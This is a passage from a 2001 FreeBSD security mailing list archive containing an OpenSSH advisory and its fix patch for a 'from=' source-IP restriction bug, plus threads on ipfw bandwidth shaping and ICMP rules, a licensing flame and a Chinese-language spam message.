	~/.ssh/known_hosts
	~/.ssh/authorized_keys
   For backward compatibility ~/.ssh/authorized_keys2 is still used for
   authentication and hostkeys are still read from the known_hosts2.
   However, old files are considered 'readonly'.  Future releases are
   likely to not read these files.

2) The CheckMail option in sshd_config is deprecated, sshd no longer
   checks for new mail.

3) X11 cookies are stored in $HOME

OpenSSH is brought to you by Markus Friedl, Niels Provos, Theo de Raadt,
Kevin Steves, Damien Miller and Ben Lindstrom.

------- End of Forwarded Message




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 15:28:19 2001
Delivered-To: freebsd-security@freebsd.org
Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44])
	by hub.freebsd.org (Postfix) with ESMTP id 64D3037B422
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:28:10 -0700 (PDT)
Received: (from daemon@localhost)
	by point.osg.gov.bc.ca (8.8.7/8.8.8) id PAA20226
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:28:10 -0700
Received: from passer.osg.gov.bc.ca(142.32.110.29)
 via SMTP by point.osg.gov.bc.ca, id smtpda20220; Wed Sep 26 15:28:02 2001
Received: (from uucp@localhost)
	by passer.osg.gov.bc.ca (8.11.6/8.9.1) id f8QMS2L21394
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:28:02 -0700 (PDT)
Received: from UNKNOWN(10.1.2.1), claiming to be "cwsys.cwsent.com"
 via SMTP by passer9.cwsent.com, id smtpds21390; Wed Sep 26 15:27:09 2001
Received: (from smtpd@localhost)
	by cwsys.cwsent.com (8.11.6/8.9.1) id f8QMR6G33342
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:27:06 -0700 (PDT)
Message-Id: <200109262227.f8QMR6G33342@cwsys.cwsent.com>
X-Authentication-Warning: cwsys.cwsent.com: smtpd set sender to <cy@cwsys> using -f
Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys"
 via SMTP by localhost.cwsent.com, id smtpdw33337; Wed Sep 26 15:27:00 2001
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
Reply-To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
From: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
X-Sender: schubert
To: freebsd-security@freebsd.org
Subject: OpenSSH Security Advisory (adv.option) (fwd)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 26 Sep 2001 15:27:00 -0700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

A weakness in OpenSSH's source IP based access control has been 
discovered.


Regards,                         Phone:  (250)387-8437
Cy Schubert                        Fax:  (250)387-5766
Team Leader, Sun/Alpha Team   Internet:  Cy.Schubert@osg.gov.bc.ca
Open Systems Group, ITSD
Ministry of Management Services
Province of BC            


------- Forwarded Message

[headers removed]
Date: Wed, 26 Sep 2001 23:18:23 +0200
From: Markus Friedl <markus@openbsd.org>
To: security-announce@openbsd.org
Subject: OpenSSH Security Advisory (adv.option)
Message-ID: <20010926231823.A15229@folly>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Sender: owner-security-announce@openbsd.org
Precedence: bulk
X-Loop: security-announce@openbsd.org

Weakness in OpenSSH's source IP based access control
for SSH protocol v2 public key authentication.

1. Systems affected:

	Versions of OpenSSH between 2.5.x and 2.9.x using
	the 'from=' key file option in combination with
	both RSA and DSA keys in ~/.ssh/authorized_keys2.

2. Description:

        Depending on the order of the user keys in
        ~/.ssh/authorized_keys2 sshd might fail to apply the
        source IP based access control restriction (e.g.
        from="10.0.0.1") to the correct key:

        If a source IP restricted key (e.g. DSA key) is
        immediately followed by a key of a different type
	(e.g. RSA key), then key options for the second key
	are applied to both keys, which includes 'from='.

3. Impact:

	Users can circumvent the system policy
	and login from disallowed source IP addresses.
	
4. Solution:

	Apply the following patch.

	This bug is fixed in OpenSSH 2.9.9

5. Credits:

	None.

Appendix:

Index: key.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/key.c,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -IRCSID -r1.31 -r1.32
- --- key.c	2001/09/17 20:50:22	1.31
+++ key.c	2001/09/19 13:23:29	1.32
@@ -358,7 +358,7 @@ write_bignum(FILE *f, BIGNUM *num)
 	return 1;
 }
 
- -/* returns 1 ok, -1 error, 0 type mismatch */
+/* returns 1 ok, -1 error */
 int
 key_read(Key *ret, char **cpp)
 {
@@ -413,7 +413,7 @@ key_read(Key *ret, char **cpp)
 		} else if (ret->type != type) {
 			/* is a key, but different type */
 			debug3("key_read: type mismatch");
- -			return 0;
+			return -1;
 		}
 		len = 2*strlen(cp);
 		blob = xmalloc(len);

------- End of Forwarded Message




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 15:35:56 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by hub.freebsd.org (Postfix) with ESMTP id 4A4B537B401
	for <freebsd-security@FreeBSD.org>; Wed, 26 Sep 2001 15:35:52 -0700 (PDT)
Received: from laptop.baldwin.cx ([147.11.46.209])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id PAA27656;
	Wed, 26 Sep 2001 15:35:38 -0700 (PDT)
Message-ID: <XFMail.010926153524.jhb@FreeBSD.org>
X-Mailer: XFMail 1.4.0 on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <200109262227.f8QMR6G33342@cwsys.cwsent.com>
Date: Wed, 26 Sep 2001 15:35:24 -0700 (PDT)
From: John Baldwin <jhb@FreeBSD.org>
To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
Subject: RE: OpenSSH Security Advisory (adv.option) (fwd)
Cc: freebsd-security@FreeBSD.org
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


On 26-Sep-01 Cy Schubert - ITSD Open Systems Group wrote:
> A weakness in OpenSSH's source IP based access control has been 
> discovered.

Looks like your mailer mungled the patch by appending extra '- ' to the
deletion lines.  It would be "fixed" below except that my mailer has the
braindead "feature" of converting tabs to spaces w/o any way to disable it that
I can find.

Index: key.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/key.c,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -IRCSID -r1.31 -r1.32
--- key.c   2001/09/17 20:50:22     1.31
+++ key.c     2001/09/19 13:23:29     1.32
@@ -358,7 +358,7 @@ write_bignum(FILE *f, BIGNUM *num)
      return 1;
 }
 
-/* returns 1 ok, -1 error, 0 type mismatch */
+/* returns 1 ok, -1 error */
 int
 key_read(Key *ret, char **cpp)
 {
@@ -413,7 +413,7 @@ key_read(Key *ret, char **cpp)
              } else if (ret->type != type) {
                      /* is a key, but different type */
                      debug3("key_read: type mismatch");
-                     return 0;
+                     return -1;
              }
              len = 2*strlen(cp);
              blob = xmalloc(len);

-- 

John Baldwin <jhb@FreeBSD.org> -- http://www.FreeBSD.org/~jhb/
PGP Key: http://www.baldwin.cx/~john/pgpkey.asc
"Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 15:45:18 2001
Delivered-To: freebsd-security@freebsd.org
Received: from zogbe.tasam.com (uta-ip196.ntc.off-campus.vt.edu [63.165.178.196])
	by hub.freebsd.org (Postfix) with ESMTP id E915137B42A
	for <freebsd-security@FreeBSD.ORG>; Wed, 26 Sep 2001 15:45:13 -0700 (PDT)
Received: from battleship (uta-ip196.ntc.off-campus.vt.edu [63.165.178.196])
	by zogbe.tasam.com (8.11.6/8.11.6) with SMTP id f8QMivO09400;
	Wed, 26 Sep 2001 18:44:57 -0400 (EDT)
Message-ID: <002901c146dc$de5ef8c0$095f5f0a@battleship>
From: "Joseph Gleason" <clash@tasam.com>
To: "Sheldon Hearn" <sheldonh@starjuice.net>,
	"Joseph Gleason" <clash@zogbe.tasam.com>
Cc: "Adam Nealis" <adamnealis@yahoo.co.uk>,
	<freebsd-security@FreeBSD.ORG>
References: <72924.1001535947@axl.seasidesoftware.co.za>
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for "bursting"? 
Date: Wed, 26 Sep 2001 18:44:57 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

I didn't say the dummynet man page has all answers, but it is somewhere to
look.

The only thing I can find is this from the ipfw page:

     red | gred w_q/min_th/max_th/max_p
             Make use of the RED queue management algorithm.  w_q and max_p
             are floating point numbers between 0 and 1 (0 not included),
             while min_th and max_th are integer numbers specifying
thresholds
             for queue management (thresholds are computed in bytes if the
             queue has been defined in bytes, in slots otherwise).  The
             dummynet(4) also supports the gentle RED variant (gred).  Three
             sysctl(8) variables can be used to control the RED behaviour:

             net.inet.ip.dummynet.red_lookup_depth
                     specifies the accuracy in computing the average queue
                     when the link is idle (defaults to 256, must be greater
                     than zero)

             net.inet.ip.dummynet.red_avg_pkt_size
                     specifies the expected average packet size (defaults to
                     512, must be greater than zero)

             net.inet.ip.dummynet.red_max_pkt_size
                     specifies the expected maximum packet size, only used
                     when queue thresholds are in bytes (defaults to 1500,
                     must be greater than zero).


----- Original Message -----
From: "Sheldon Hearn" <sheldonh@starjuice.net>
To: "Joseph Gleason" <clash@zogbe.tasam.com>
Cc: "Adam Nealis" <adamnealis@yahoo.co.uk>; <freebsd-security@FreeBSD.ORG>
Sent: Wednesday, September 26, 2001 16:25
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for
"bursting"?


>
>
> On Wed, 26 Sep 2001 13:24:48 -0400, Joseph Gleason wrote:
>
> > man 4 dummynet
>
> So, like, have you? :-)
>
> Seriously, Adam and I are both fairly consciencious readers, and neither
> of us can see how the RED / GRED configuration values are actually used.
>
> Ciao,
> Sheldon.
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 16:49:13 2001
Delivered-To: freebsd-security@freebsd.org
Received: from portal.eltex.ru (eltex-gw2.nw.ru [195.19.203.86])
	by hub.freebsd.org (Postfix) with ESMTP id 06EED37B419
	for <security@FreeBSD.ORG>; Wed, 26 Sep 2001 16:49:08 -0700 (PDT)
Received: from yaksha.eltex.ru (root@yaksha.eltex.ru [195.19.198.2])
	by portal.eltex.ru (8.11.3/8.11.3) with SMTP id f8QNn7G48944;
	Thu, 27 Sep 2001 03:49:07 +0400 (MSD)
	(envelope-from ark@eltex.ru)
Received: by yaksha.eltex.ru (ssmtp TIS-0.6alpha, 19 Jan 2000); Thu, 27 Sep 2001 03:43:07 +0400
Received: from undisclosed-intranet-sender id smtpdQd9121; Thu Sep 27 03:42:55 2001
From: ark@eltex.ru
Message-Id: <200109262341.DAA12439@paranoid.eltex.ru>
Subject: Re: LaBrea for BSD?
To: brett@lariat.org (Brett Glass)
Date: Thu, 27 Sep 2001 03:41:57 +0400 (MSD)
Cc: will@physics.purdue.edu (Will Andrews),
	security@FreeBSD.ORG (FreeBSD Security)
Reply-To: ark@eltex.ru
In-Reply-To: <4.3.2.7.2.20010926125205.047733b0@localhost> from "Brett Glass" at Sep 26, 2001 12:57:58 PM
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

nuqneH,

Still being completely offtopic i must say i REALLY HATE when someone 
refers to "*both* gnome and KDE". Just because they started saying that
before people on commercial unices ever noticed the existance of those
things and while CDE and Openlook had much more working applications.

(i am happy Openlook user, it is last *really* non-motif-style GUI.
i am sure that the *main* "advantage" of motif-style things is that
those do look familliar to weendoze users.)

>  >It would be MUCH better to stop using Windows
>  
>  I do not use Windows for mission-critical applications. These 
>  days, I primarily use it as a GUI for BSD. I would prefer not
>  to use it even for that, but because KDE and GNOME are both GPLed, 
>  it is the best alternative. Perhaps MacOS 10.1 will change that.
>  
>  >than to spout nonsense like this.
>  
>  You're very wrong. The GPL is a great threat to standardization,
>  to consumer choice, and to the BSDs and their philosophy.
>  
>  By using or developing GPLed software, you are supporting an agenda 
>  that is designed to hurt programmers and consumers for the sake of 
>  one man's petty vendetta. Do not do that. It is unethical and contrary 
>  to the philosophy of BSD.
>  
>  --Brett Glass
>  
>  
>  To Unsubscribe: send mail to majordomo@FreeBSD.org
>  with "unsubscribe freebsd-security" in the body of the message
>  


-- 
                                     _     _  _  _  _      _  _
 {::} {::} {::}  CU in Hell          _| o |_ | | _|| |   / _||_|   |_ |_ |_
 (##) (##) (##)        /Arkan#iD    |_  o  _||_| _||_| /   _|  | o |_||_||_|
 [||] [||] [||]            Do i believe in Bible? Hell,man,i've seen one!

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 21:37: 1 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ms22.hinet.net (ms22.hinet.net [168.95.4.22])
	by hub.freebsd.org (Postfix) with ESMTP
	id E898D37B413; Wed, 26 Sep 2001 21:36:46 -0700 (PDT)
Received: from 168.95.192.1 (61-216-51-248.HINET-IP.hinet.net [61.216.51.248])
	by ms22.hinet.net (8.8.8/8.8.8) with SMTP id MAA18059;
	Thu, 27 Sep 2001 12:36:38 +0800 (CST)
Message-Id: <200109270436.MAA18059@ms22.hinet.net>
From: "=?BIG5?Q?12345=A2I12345?=" <dfdfd¢Igigigaga.com@ms22.hinet.net>
To: "" <>
Subject: =?BIG5?Q?2=A4p=AE=C9=A5=DF=A7Y=C0=B0=B1z=BA=F4=B8=F4=B6}=A9=B1=C0=E7=B7~!!?=
Date: Thu, 27 Sep 2001 10:42:42 +0800
Content-Type: multipart/mixed; boundary="---RisingEdge.798C1A93.2001.09.27.10.42.42"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

This is a multipart message in mime format.

-----RisingEdge.798C1A93.2001.09.27.10.42.42
Content-Type: multipart/alternative; boundary="---RisingEdge.14FEBFB6.2001.09.27.10.42.42"
Content-Transfer-Encoding: 8bit


-----RisingEdge.14FEBFB6.2001.09.27.10.42.42
Content-Type: text/plain; charset="BIG5"
Content-Transfer-Encoding: quoted-printable

2=A4p=AE=C9=A7=D6=B3t=BA=F4=AD=B6=BBs=A7@=A4=CE=AD=D7=A7=EF. =BA=F4=A7=
}=A7K=B6O!!

=BA=F4=AD=B6=BBs=A7@=B6W=A7C=BB=F9=A5u=ADnNT800=A4=B8. =A7K=B6O=BA=F4=
=A7}=B1=BE=A4W. =A5=DF=A7Y=C0=B0=B1z=BA=F4=B8=F4=B6}=A9=B1=C0=E7=B7~=B0=
=B5=A5=CD=B7N!!
(=BA=F4=AF=B8=A4=BA=AEe=A5i=A4=C0:  =A4=BD=A5q=C2=B2=A4=B6. =B2=A3=AB=
~=A4=B6=B2=D0. =B2=A3=AB~=AC=DB=A4=F9. =AB=C8=A4=E1=AFd=A8=A5=AAO. =A9=
w=C1=CA=AA=ED=B3=E6. =B1m=A6=E2=B0=CA=B5e=B5=A5)

=A6=B3=B7N=AA=CC=C5w=AA=EF=AC=A2=BD=CD!!
http://in.members.tripodasia.com/gffff/

=BA=F4=AD=B6=B3]=ADp=AFd=A8=A5:
http://in.members.tripodasia.com/gffff/k.htm

=BD=D0=A4=C5=AA=BD=B1=B5=A6^=ABH!!

-----RisingEdge.14FEBFB6.2001.09.27.10.42.42--

-----RisingEdge.798C1A93.2001.09.27.10.42.42--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 22:58:41 2001
Delivered-To: freebsd-security@freebsd.org
Received: from dreamflow.nl (dreamflow.nl [62.58.36.22])
	by hub.freebsd.org (Postfix) with SMTP id 1601C37B430
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 22:58:38 -0700 (PDT)
Received: (qmail 94862 invoked by uid 1000); 27 Sep 2001 05:58:36 -0000
Date: Thu, 27 Sep 2001 07:58:36 +0200
From: Bart Matthaei <bart@dreamflow.nl>
To: freebsd-security@freebsd.org
Subject: Re: =?iso-8859-1?Q?2=A4p=AE=C9=A5=DF=A7Y=C0=B0=B1z=BA=F4=B8=F4=B6}=A9=B1=C0?=
 =?iso-8859-1?Q?=E7=B7~!!?=
Message-ID: <20010927075836.A50516@heresy.dreamflow.nl>
Reply-To: Bart Matthaei <bart@dreamflow.nl>
References: <200109270436.MAA18059@ms22.hinet.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: =?iso-8859-1?Q?=3C200109270436=2EMAA18059=40ms22=2Ehinet=2Enet=3E=3B_fro?=
 =?iso-8859-1?Q?m_dfdfd=A2Igigigaga=2Ecom=40ms22=2Ehinet=2Enet_on_Thu=2C_?=
 =?iso-8859-1?Q?Sep_27=2C_2001_at_10:42:42AM_+0800?=
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

OOOO!!! crypto :)

Regards,

Bart Matthaei

-- 
Bart Matthaei                bart@dreamflow.nl

/* Welcome to my world.. You just live here */

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 23:19:44 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mta10.onebox.com (mta10.onebox.com [64.68.76.184])
	by hub.freebsd.org (Postfix) with ESMTP id C15C737B43B
	for <freebsd-security@FreeBSD.ORG>; Wed, 26 Sep 2001 23:19:36 -0700 (PDT)
Received: from onebox.com ([10.1.111.10]) by mta10.onebox.com
          (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP
          id <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>;
          Wed, 26 Sep 2001 23:19:35 -0700
Received: from [203.144.226.118] by onebox.com with HTTP; Wed, 26 Sep 2001 23:19:35 -0700
Date: Wed, 26 Sep 2001 23:19:35 -0700
Subject: How to config IPFW for enable ping and traceroute
From: "Chutima S." <chutima@onebox.com>
To: freebsd-security@FreeBSD.ORG
Cc: chutima@infoquest.co.th
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
MIME-Version: 1.0
Message-Id: <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi

I read from Firewall handbook as below:
icmptypes types 
Matches if the ICMP type is present in the list types. The list may be
specified as any combination of ranges and/or individual types separated
by commas. Commonly used ICMP types are: 0 echo reply (ping reply), 3
destination unreachable, 5 redirect, 8 echo request (ping request), and
11 time exceeded (used to indicate TTL expiration as with traceroute(8)).

So I config ipfw for icmp as following:

ipfw add pass icmp from <internal> to any icmptypes 8
ipfw add pass icmp from any to <internal> icmptypes 0
ipfw add pass icmp from any to <internal> icmptypes 11

I can ping but I can not traceroute.  Anything wrong with my config?

Thanks
Chutima S.

-- 
Chutima S.
chutima@onebox.com - email
(202) 777-2646 x5475 - voicemail/fax



__________________________________________________
FREE voicemail, email, and fax...all in one place.
Sign Up Now! http://www.onebox.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  2:16:39 2001
Delivered-To: freebsd-security@freebsd.org
Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.121.85])
	by hub.freebsd.org (Postfix) with ESMTP id 9A8E237B410
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 02:16:35 -0700 (PDT)
Received: from blossom.cjclark.org (dialup-209.247.141.88.Dial1.SanJose1.Level3.net [209.247.141.88])
	by gull.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id CAA05487;
	Thu, 27 Sep 2001 02:14:37 -0700 (PDT)
Received: (from cjc@localhost)
	by blossom.cjclark.org (8.11.4/8.11.3) id f8R9EYs78196;
	Thu, 27 Sep 2001 02:14:34 -0700 (PDT)
	(envelope-from cjc)
Date: Thu, 27 Sep 2001 02:14:33 -0700
From: "Crist J. Clark" <cristjc@earthlink.net>
To: "Chutima S." <chutima@onebox.com>
Cc: freebsd-security@FreeBSD.ORG, chutima@infoquest.co.th
Subject: Re: How to config IPFW for enable ping and traceroute
Message-ID: <20010927021433.E360@blossom.cjclark.org>
Reply-To: cjclark@alum.mit.edu
References: <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>; from chutima@onebox.com on Wed, Sep 26, 2001 at 11:19:35PM -0700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Wed, Sep 26, 2001 at 11:19:35PM -0700, Chutima S. wrote:
> Hi
> 
> I read from Firewall handbook as below:
> icmptypes types 
> Matches if the ICMP type is present in the list types. The list may be
> specified as any combination of ranges and/or individual types separated
> by commas. Commonly used ICMP types are: 0 echo reply (ping reply), 3
> destination unreachable, 5 redirect, 8 echo request (ping request), and
> 11 time exceeded (used to indicate TTL expiration as with traceroute(8)).
> 
> So I config ipfw for icmp as following:
> 
> ipfw add pass icmp from <internal> to any icmptypes 8
> ipfw add pass icmp from any to <internal> icmptypes 0
> ipfw add pass icmp from any to <internal> icmptypes 11
> 
> I can ping but I can not traceroute.  Anything wrong with my config?

UNIX-style traceroute(8) sends UDP packets by default. Also, when the
packets actually hit the target, you'll get a port unreachable (type
3) coming back at you.
-- 
Crist J. Clark                           cjclark@alum.mit.edu

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27  3:27:41 2001
Delivered-To: freebsd-security@freebsd.org
Received: from web20708.mail.yahoo.com (web20708.mail.yahoo.com [216.136.226.181])
	by hub.freebsd.org (Postfix) with SMTP id BBEF537B41B
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 03:27:35 -0700 (PDT)
Message-ID: <20010927102735.18568.qmail@web20708.mail.yahoo.com>
Received: from [62.128.212.126] by web20708.mail.yahoo.com via HTTP; Thu, 27 Sep 2001 11:27:35 BST
Date: Thu, 27 Sep 2001 11:27:35 +0100 (BST)
From: =?iso-8859-1?q?Adam=20Nealis?= <adamnealis@yahoo.co.uk>
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for "bursting"? 
To: Sheldon Hearn <sheldonh@starjuice.net>,
	Joseph Gleason <clash@zogbe.tasam.com>
Cc: freebsd-security@FreeBSD.ORG
In-Reply-To: <002901c146dc$de5ef8c0$095f5f0a@battleship>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

 --- Joseph Gleason <clash@tasam.com> wrote: 
> I didn't say the dummynet man page has all answers, but it is somewhere to
> look.
> 
> The only thing I can find is this from the ipfw page:

Yep. I got that far. But on reading this there is no explanation
of what the numbers mean, or rather, their context.

>      red | gred w_q/min_th/max_th/max_p
>              Make use of the RED queue management algorithm.  w_q and max_p
>              are floating point numbers between 0 and 1 (0 not included),

OK, so now I know that 0 < w_q, max_p <= 1.0

>              while min_th and max_th are integer numbers specifying
> thresholds
>              for queue management (thresholds are computed in bytes if the
>              queue has been defined in bytes, in slots otherwise).  The
>              dummynet(4) also supports the gentle RED variant (gred).  Three
>              sysctl(8) variables can be used to control the RED behaviour:
> 
>              net.inet.ip.dummynet.red_lookup_depth
>                      specifies the accuracy in computing the average queue
>                      when the link is idle (defaults to 256, must be greater
>                      than zero)

So this number must be >0, but what is tha maximum range, what
does varying this mnumber affect? Same question applies to the
next two sysctl parameters.

>              net.inet.ip.dummynet.red_avg_pkt_size
>                      specifies the expected average packet size (defaults to
>                      512, must be greater than zero)
> 
>              net.inet.ip.dummynet.red_max_pkt_size
>                      specifies the expected maximum packet size, only used
>                      when queue thresholds are in bytes (defaults to 1500,
>                      must be greater than zero).

I suppose what I must do is to find papers describing RED and GRED,
digest them and map the information onto the man pages.

So I'll look at http://www.acm.org/crossroads/columns/connector/july2001.html
as suggested by Aaron. I did come across some technical discussions
of RED/GRED, but digesting that sort of information can take days
so I thought I'd ask here first to see if it was a valid line of
research.

My reason for posting in the first place was to see if anyone had
actually done any work with ipfw pipes (or dummynet directly), in
order to allow for b/w management with bursting.

By bursting I suppose I mean something like for a connection with
nominal aggregate bandwidth X bit/s, make available additional
bandwidth of either X * Y bit/s, or X + Y bit/s for a time Tb seconds.

From what I gather this has not been done using ipfw. Is this because
it can't in principle, because it hasn't been done yet, because there
is somthing else to use, or because anyone who has done this didn't
read the post (or read it and didn't respond)? ;)

Cheers,
Adam Nealis.

> 
> 
> ----- Original Message -----
> From: "Sheldon Hearn" <sheldonh@starjuice.net>
> To: "Joseph Gleason" <clash@zogbe.tasam.com>
> Cc: "Adam Nealis" <adamnealis@yahoo.co.uk>; <freebsd-security@FreeBSD.ORG>
> Sent: Wednesday, September 26, 2001 16:25
> Subject: Re: Using ipfw pipes for bandwidth management - can it allow for
> "bursting"?
> 
> 
> >
> >
> > On Wed, 26 Sep 2001 13:24:48 -0400, Joseph Gleason wrote:
> >
> > > man 4 dummynet
> >
> > So, like, have you? :-)
> >
